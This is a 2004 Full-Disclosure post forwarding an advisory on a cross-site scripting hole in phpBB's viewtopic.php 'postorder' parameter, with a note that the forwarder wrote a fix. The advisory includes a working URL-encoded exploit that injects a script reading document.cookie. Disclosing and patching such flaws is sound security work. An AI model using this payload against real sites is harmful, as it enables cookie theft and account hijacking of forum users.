[Full-Disclosure] New phpBB ViewTopic.php Cross Site Scripting Vulnerability (with fix)

["t4c [Founder of GHCIF]" <t4c@xxxxxxxx>]

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On 02/28/04 Cheng Peng Su released the following Advisory:

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Advisory Name:New phpBB ViewTopic.php Cross Site Scripting Vulnerability
Release Date: Feb 29,2004
Application: phpBB
Platform: PHP
Version Affected: the lastest version
Vendor URL: http://www.phpbb.com/
Discover: Cheng Peng Su(apple_soup_at_msn.com)
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Details:
~    This vuln is similar to Arab VieruZ's advisory 'XSS bug in
phpBB',this time the problem is not in 'highlight' ,but in
'postorder'.we can inject HTML code,such code could be used to steal
cookie information.

Proof of Concept:
~     If there is a topic at
~  http://site/phpBB/viewtopic.php?t=123456
~  this page can be also viewed at
~  http://site/phpBB/viewtopic.php?t=123456&postorder=asc
~  then this page will contain code like below:
~  <a class="maintitle"
href="viewtopic.php?t=176994&amp;start=0&amp;postdays=0&amp;postorder=asc&amp;highlight=">[Topic
Title]</a>.
~  phpBB doesn't filter out illegal characters from 'postorder',so we can
inject HTML code after 'postorder='.

Exploit:
~  URL:
http://site/phpBB/viewtopic.php?t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C

~  note
unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')
== '">&lt;script&gt;alert(document.cookie)&lt;/script&gt;<'

Contact:
Cheng Peng Su
apple_soup_at_msn.com
Class 1,Senior 2,High school attached to Wuhan University
Wuhan,Hubei,China



Still PHPBB.COM didn't release any informations and patches I wrote a
small fix for this issue.

Read more under
http://www.phpbb.com/phpBB/viewtopic.php?t=177585

- --
Milan 't4c' Berger
Network & Security Administrator
21073 Hamburg

gpg: http://www.ghcif.de/keys/t4c.asc

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